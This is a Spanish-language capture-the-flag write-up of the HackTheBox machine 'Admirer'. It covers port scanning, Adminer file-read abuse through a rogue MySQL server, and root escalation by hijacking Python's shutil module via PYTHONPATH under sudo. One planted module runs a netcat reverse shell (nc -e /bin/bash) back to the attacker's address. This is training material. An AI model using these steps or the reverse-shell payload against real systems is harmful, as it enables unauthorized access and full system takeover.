Admirer es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Admirer 10.10.10.187 a /etc/hosts como admirer.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# Nmap 7.80 scan initiated Fri May 8 16:16:17 2020 as: nmap -Pn -p1-65535 -sC -sV -oA admirer-nmap 10.10.10.187 Nmap scan report for 10.10.10.187 Host is up (0.060s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/admin-dir |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Admirer 8781/tcp filtered unknown 57610/tcp filtered unknown Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri May 8 17:03:36 2020 -- 1 IP address (1 host up) scanned in 2839.76 seconds |
Observamos varios puertos abiertos, pasamos directamente al 80 y observamos la siguiente pantalla:
Enumeración
Buscamos en la página anterior y observamos algo interesante en el fichero robots.txt
1 2 3 4 |
User-agent: * # This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo Disallow: /admin-dir |
Accedemos a dicho directorio pero no tenemos permisos así que buscamos los ficheros que menciona en el anterior comentario y descubrimos los ficheros contacts.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
########## # admins # ########## # Penny Email: p.wise@admirer.htb ############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb # Amy Email: a.bialik@admirer.htb # Leonard Email: l.galecki@admirer.htb ############# # designers # ############# # Howard Email: h.helberg@admirer.htb # Bernadette Email: b.rauch@admirer.htb |
y credentials.txt
1 2 3 4 5 6 7 8 9 10 11 12 |
[Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P [FTP account] ftpuser %n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01! |
Con los datos descubiertos, recordamos que en el escaneo inicial vimos que tenía abierto el puerto 21, que corresponde al servicio ftp, por lo que intentamos acceder con las credenciales obtenidas y descubrimos un dump de sql y un fichero tar.gz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# ftp admirer.htb Connected to admirer.htb. 220 (vsFTPd 3.0.3) Name (admirer.htb:asdf): ftpuser 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 3405 Dec 02 21:24 dump.sql -rw-r--r-- 1 0 0 5270987 Dec 03 21:20 html.tar.gz 226 Directory send OK. ftp> |
Analizamos los mismos y encontramos varios accesos de base de datos pero todavía no hemos descubierto nada con lo que poder utilizarlos.
Seguimos con nuestra búsqueda y, viendo el nombre de la máquina admirer, conocemos un script de php llamado adminer para el acceso y control de bases de datos, para aquellos que no lo conozcan, se trata de una alternativa a phpmyadmin.
Probamos a acceder con las rutas conocidas de los ficheros existentes en el tar.gz y descubrimos un portal de login del mismo en la ruta utility-scripts/adminer.php
Ahora probamos con las contraseñas y usuarios descubiertos hasta el momento, pero sin éxito con ellos.
Utilizaremos entonces google a ver si podemos dar con alguna vulnerabilidad en el mismo, que como vemos en la parte superior izquierda, nos indica la versión 4.6.2
Encontramos una vulnerabilidad en el mismo a través de la cual podemos conectar a un servidor de mysql remoto y lanzar una consulta para obtener ficheros existentes en local, así que montamos el mysql púbico en nuestro kali y conectamos desde el panel de adminer:
Aquí probamos con varios ficheros, fijándonos en los que vimos en el fichero html.tar.gz y obtenemos una respuesta satisfactoria con el fichero index.php y la siguiente consulta:
1 2 3 |
LOAD DATA LOCAL INFILE '../index.php' INTO TABLE test.test FIELDS TERMINATED BY "\n" |
Comprobaremos ahora en la tabla test de la base de datos test creada en nuestro kali y vemos las credenciales del usuario waldo:
Obteniendo la flag de user
Con las credenciales obtenidas anteriormente probamos el acceso por ssh y listo, tenemos acceso con el usuario waldo y con ello la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# ssh waldo@admirer.htb waldo@admirer.htb's password: Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Sat May 9 19:10:11 2020 from 10.10.15.87 waldo@admirer:~$ ls -l total 4 -rw-r----- 1 root waldo 33 May 9 18:52 user.txt waldo@admirer:~$ |
Escalando privilegios
Ahora que ya hemos conseguido acceso con un usuario, nos queda escalar privilegios a otro usuario o a root, así que veamos las posibilidades.
En primer lugar observaremos los permisos existentes:
1 2 3 4 5 6 7 8 |
waldo@admirer:~$ sudo -l [sudo] password for waldo: Matching Defaults entries for waldo on admirer: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh |
Observamos que tenemos permisos como sudo para ejecutar un script así que vamos primero a ver que hace dicho script.
A continuación el código del script admin_tasks.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 |
#!/bin/bash view_uptime() { /usr/bin/uptime -p } view_users() { /usr/bin/w } view_crontab() { /usr/bin/crontab -l } backup_passwd() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/passwd to /var/backups/passwd.bak..." /bin/cp /etc/passwd /var/backups/passwd.bak /bin/chown root:root /var/backups/passwd.bak /bin/chmod 600 /var/backups/passwd.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi } backup_shadow() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/shadow to /var/backups/shadow.bak..." /bin/cp /etc/shadow /var/backups/shadow.bak /bin/chown root:shadow /var/backups/shadow.bak /bin/chmod 600 /var/backups/shadow.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi } backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & else echo "Insufficient privileges to perform the selected operation." fi } backup_db() { if [ "$EUID" -eq 0 ] then echo "Running mysqldump in the background, it may take a while..." #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql & /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql & else echo "Insufficient privileges to perform the selected operation." fi } # Non-interactive way, to be used by the web interface if [ $# -eq 1 ] then option=$1 case $option in 1) view_uptime ;; 2) view_users ;; 3) view_crontab ;; 4) backup_passwd ;; 5) backup_shadow ;; 6) backup_web ;; 7) backup_db ;; *) echo "Unknown option." >&2 esac exit 0 fi # Interactive way, to be called from the command line options=("View system uptime" "View logged in users" "View crontab" "Backup passwd file" "Backup shadow file" "Backup web data" "Backup DB" "Quit") echo echo "[[[ System Administration Menu ]]]" PS3="Choose an option: " COLUMNS=11 select opt in "${options[@]}"; do case $REPLY in 1) view_uptime ; break ;; 2) view_users ; break ;; 3) view_crontab ; break ;; 4) backup_passwd ; break ;; 5) backup_shadow ; break ;; 6) backup_web ; break ;; 7) backup_db ; break ;; 8) echo "Bye!" ; break ;; *) echo "Unknown option." >&2 esac done exit 0 |
A través del mismo podemos realizar varias acciones en el sistema como ver las tareas de cron o los usuarios logueados. Nos fijamos en la misma carpeta y vemos otro script llamado backups.py cuyo código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/usr/bin/python3 from shutil import make_archive src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src) |
Viendo este segundo código y analizando el primero, podríamos bypasser la librería de python shutil con un script propio para que se ejecute el mismo cuando en el script admin_tasks.sh llamemos a este.
Dicho esto, nos creamos un script llamado shutil.py en la ruta /tmp/test con el siguiente código:
1 2 3 4 |
#!/usr/bin/python3 import os def make_archive(*args): os.system('nc -e /bin/bash 10.10.x.x 4444') |
Añadiremos ahora la ruta a la variable PYTHONPATH
1 |
export PYTHONPATH="/tmp/test:$PYTHONPATH" |
Y probaremos a ejecutar el script backup a ver si funciona:
1 2 3 4 5 |
waldo@admirer:/opt/scripts$ ls -l total 8 -rwxr-xr-x 1 root admins 2613 Dec 2 20:36 admin_tasks.sh -rwxr----- 1 root admins 198 Dec 2 20:36 backup.py waldo@admirer:/opt/scripts$ python3 backup.py |
Y observamos como en la escucha hemos conseguido abrir una shell con el usuario waldo:
1 2 3 4 5 |
# nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.15.228] from admirer.htb [10.10.10.187] 39286 id uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins) |
Obteniendo la flag de root
Viendo que hemos podido obtener la shell inversa con el usuario waldo, lo haremos a continuación con el usuario root.
Ejecutaremos el comando que indicaba el comando sudo -l con la opción -E para indicarle el path de nuestro script y la opción 6 para indicar que realice el backup de base de datos:
1 2 3 |
waldo@admirer:/opt/scripts$ sudo -E PYTHONPATH="/tmp/test" /opt/scripts/admin_tasks.sh 6 Running backup script in the background, it might take a while... waldo@admirer:/opt/scripts$ |
Y en la escucha que teníamos a la espera vemos como hemos conseguido acceso root:
1 2 3 4 5 6 7 |
# nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.15.228] from admirer.htb [10.10.10.187] 34732 id uid=0(root) gid=0(root) groups=0(root) ls -l /root/root.txt -rw------- 1 root root 33 May 9 19:20 /root/root.txt |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.